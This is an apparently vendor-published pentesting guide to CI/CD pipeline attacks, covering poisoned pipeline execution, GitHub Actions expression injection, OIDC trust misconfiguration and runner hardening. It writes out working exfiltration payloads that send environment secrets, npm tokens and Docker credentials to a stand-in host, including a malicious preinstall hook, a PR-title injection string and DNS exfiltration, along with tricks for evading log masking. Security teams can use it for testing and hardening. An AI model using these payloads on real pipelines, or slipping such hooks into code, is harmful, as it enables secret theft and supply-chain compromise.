CI/CD Pipeline Attacks: Poisoned Pipeline Execution, Secret Exfiltration, and GitHub Actions Injection (2026)
CI/CD pipelines are the soft underbelly of modern application security. They hold production credentials, cloud OIDC trust, signing keys, and the ability to push code straight to deployment — yet they often run arbitrary, contributor-influenced code with weaker scrutiny than the application itself. A single injectable workflow expression or an over-broad OIDC trust policy can turn a low-privilege pull request into full control of an organization's build and release infrastructure.
This guide walks through the attack classes a pentester should test during an authorized engagement against a CI/CD environment: poisoned pipeline execution (PPE), GitHub Actions expression injection, secret exfiltration, and OIDC trust abuse. Everything below assumes you have written authorization to test the target's pipelines — these techniques are powerful and noisy, and they touch production trust boundaries.
The CI/CD Threat Model
Before throwing payloads, map the trust boundaries. A pipeline is a privileged execution context that ingests untrusted input. The questions worth answering on any engagement are:
- What triggers a build? A push to a protected branch is high-trust; a
pull_requestfrom a fork is the opposite. Thepull_request_targettrigger is the dangerous middle ground — it runs with repository secrets but checks out attacker-controlled code. - What can a contributor influence? Branch names, PR titles, commit messages, file contents, and dependency manifests are all attacker-controllable strings that frequently flow into shell commands.
- What does the runner hold? Repository and organization secrets, a
GITHUB_TOKENwith configurable scopes, cloud credentials via OIDC, and often a self-hosted runner with network reach into internal infrastructure. - Where does output go? Build artifacts, container registries, and deploy targets are all reachable from inside the job.
The core insight: CI runs are code execution as a service. If you can influence what runs, you frequently get the secrets it can see.
Poisoned Pipeline Execution (PPE)
PPE is the umbrella term for getting your own commands into a build that runs with elevated privileges. There are two flavors worth distinguishing on an engagement.
Direct PPE (D-PPE) happens when you can modify the pipeline definition itself. If a repository builds whatever is in .github/workflows/ or .gitlab-ci.yml on a branch you can push to (or via a PR that triggers a privileged run), you simply add a step:
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: env | base64 | curl -s -X POST --data-binary @- https://collab.example/c
Indirect PPE (I-PPE) is more common and more interesting. You cannot edit the workflow, but the workflow executes a file you can edit — a Makefile, a package.json lifecycle script, a test that imports a fixture, or a build script. Adding a malicious preinstall hook is a classic:
{
"scripts": {
"preinstall": "node -e \"require('child_process').execSync('curl -s collab.example/$(echo $NPM_TOKEN | base64)')\""
}
}
When the privileged pipeline runs npm install on your branch, your hook fires with the runner's environment. The fix-and-test loop most CI systems use is exactly the execution primitive an attacker needs.
GitHub Actions Expression Injection
This is the most prevalent and most overlooked CI/CD bug in the wild. GitHub Actions interpolates ${{ ... }} expressions into the shell before the shell runs. When that expression contains attacker-controlled text — a PR title, an issue body, a branch name, a commit message — you get classic command injection in the runner.
The canonical vulnerable pattern looks innocent:
- name: Comment on PR
run: |
echo "Title: ${{ github.event.pull_request.title }}"
Because the title is substituted into the script before execution, a PR titled like the following breaks out of the echo and runs arbitrary commands:
a"; curl -s https://collab.example/$(cat $HOME/.docker/config.json | base64) ; echo "
Any of these context fields are attacker-controllable and should be treated as tainted: github.event.pull_request.title, ...body, github.event.comment.body, github.event.issue.title, github.head_ref, github.event.review.body, and the commit author/message fields under github.event.commits. When auditing a repo, grep every workflow for ${{ github. inside a run: block and trace whether the value originates from a fork.
The severity multiplier is the trigger. The same injection under pull_request from a fork runs with a read-only, secret-less token (limited blast radius). Under pull_request_target or workflow_run, it runs with full repository secrets and a writable GITHUB_TOKEN — that is a critical finding.
Secret Exfiltration From the Runner
Once you have execution in a privileged job, secrets are rarely far away. GitHub masks known secret values in logs, but masking is trivially defeated and only applies to the exact string. Common exfiltration paths:
- Environment scraping: secrets injected as env vars sit in
/proc/self/environand the process environment. Encoding them sidesteps log masking:echo $SECRET | base64orrevproduces output GitHub will not redact. - The GITHUB_TOKEN: available at
$GITHUB_TOKEN/ in.git/configafter checkout. Withcontents: writeit can push commits; withpackages: writeit can poison the registry. - Cloud credential files: after an OIDC step, short-lived AWS creds land in
$AWS_*env vars or~/.aws/; GCP and Azure write credential files to the runner workspace. - Out-of-band channels: DNS exfil avoids egress filters that allow port 53 —
nslookup $(echo $SECRET | base64 | tr -d '=').collab.example.
A defender's masking only knows the literal secret. Splitting and re-encoding (echo ${SECRET:0:10}; echo ${SECRET:10}) reliably bypasses it. When documenting this finding, capture the exact exfiltration request rather than the secret value, and rotate the credential immediately after demonstrating impact. You can verify which credential formats a repository's masking misses with our Secret Scanner, which fingerprints 30+ token patterns including AWS keys, GitHub tokens, and private keys.
OIDC Trust Policy Abuse
OIDC is the modern, "no long-lived secrets" way to give CI access to a cloud account: the runner mints a signed identity token describing the workflow, and the cloud exchanges it for short-lived credentials based on a trust policy. The security of the whole scheme collapses if that trust policy is too loose.
The token's sub claim encodes the repository, ref, and environment, for example repo:acme/api:ref:refs/heads/main or repo:acme/api:pull_request. The cloud-side trust condition must pin all the parts that matter. The dangerous misconfiguration is a wildcard:
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:acme/*"
}
}
A wildcard like repo:acme/* means any repository in the org — including a throwaway repo an attacker can create, or one whose workflows they can influence — can assume the role. Other failure modes worth testing:
- Matching only the
aud(audience) claim and notsubat all, so any GitHub Actions workflow on the planet is trusted. - Trusting
pull_requestas a ref, letting fork PRs mint production credentials. - Using
StringLikewith a wildcard mid-string (repo:acme/api:ref:refs/heads/*) so a feature branch gets production access. - A missing or wrong issuer/audience check that accepts tokens from a different tenant.
To test, enumerate the role ARNs and trust policies the pipeline assumes, then evaluate whether the sub condition can be satisfied by a workflow context you control. The OIDC token-exchange flow shares its underlying mechanics with browser OAuth flows — claim validation, audience binding, and redirect/issuer trust — so the same testing intuition applies. Our OAuth / OIDC Attack Wizard helps reason about claim manipulation and audience confusion, and the OAuth & OIDC Security Cheat Sheet covers the validation checks that trust policies routinely skip.
Self-Hosted Runner Compromise
Self-hosted runners deserve their own callout because they break a key cloud assumption: ephemerality. A GitHub-hosted runner is destroyed after each job; a persistent self-hosted runner is not. If a public repository uses self-hosted runners with the default configuration, a fork PR can run code on infrastructure inside the target's network.
On an engagement, look for: runners reused across jobs (allowing one job to drop an implant for the next), runners with broad IAM instance roles or access to internal services, and runner labels referenced by workflows that fork PRs can trigger. A non-ephemeral runner that builds untrusted PRs is effectively a publicly reachable shell into the corporate network. Persistence on such a host — a poisoned .bashrc, a cron job, or a modified runner binary — survives across builds; our Cron Expression Parser & Builder is handy for reasoning about scheduled-persistence artifacts you find or need to document.
Dependency and Action Supply Chain
Pipelines are only as trustworthy as what they pull in. Two patterns recur:
- Unpinned third-party Actions:
uses: some/action@v1resolves a mutable tag. If that action's maintainer is compromised — or the tag is repointed — every consumer runs new code with their secrets. Pinning to a full commit SHA (uses: some/action@<40-char-sha>) is the only safe form. - Dependency confusion and typosquats: if the build resolves internal package names from a public registry, an attacker can publish a higher-versioned public package with the same name and have it installed in CI.
When reviewing a workflow file, treat every uses: line that isn't SHA-pinned and every dependency install from a mixed public/private resolver as a supply-chain finding.
Defenses and Remediation
The good news is that CI/CD hardening is well understood and largely free. Prioritized recommendations to put in a report:
- Never inline untrusted context into shell. Pass attacker-controlled values through an intermediate environment variable and quote it:
env: TITLE: ${{ github.event.pull_request.title }}thenrun: echo "$TITLE". The value never reaches the expression interpolator. - Avoid
pull_request_targetunless absolutely necessary, and when used, never check out and execute fork code in the same privileged job. - Default the
GITHUB_TOKENto least privilege withpermissions: read-allat the workflow level and grant write scopes per-job only where required. - Pin every third-party action to a full commit SHA and enable dependency review. Treat reusable workflows the same way.
- Tighten OIDC trust policies to pin the full
subclaim — repository and ref and environment — plus the issuer and audience. No wildcards across repositories or branches; gate production roles behind protected GitHub Environments with required reviewers. - Make self-hosted runners ephemeral (one job per VM, then destroy), isolate them from internal networks, and never use them for public-repo fork builds.
- Scan for secrets and injectable expressions in CI as a gate. Tools that lint workflows for tainted
${{ github.* }}usage and scan diffs for committed credentials catch most of this class before merge.
If you maintain pipelines, you can build a hardened, least-privilege workflow scaffold with our GitHub Action Generator and bake secret scanning into the pipeline itself. The recurring theme across every technique above is the same: a CI/CD pipeline is privileged code execution that ingests untrusted input, so the entire defensive posture reduces to controlling what runs and starving it of standing privilege.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides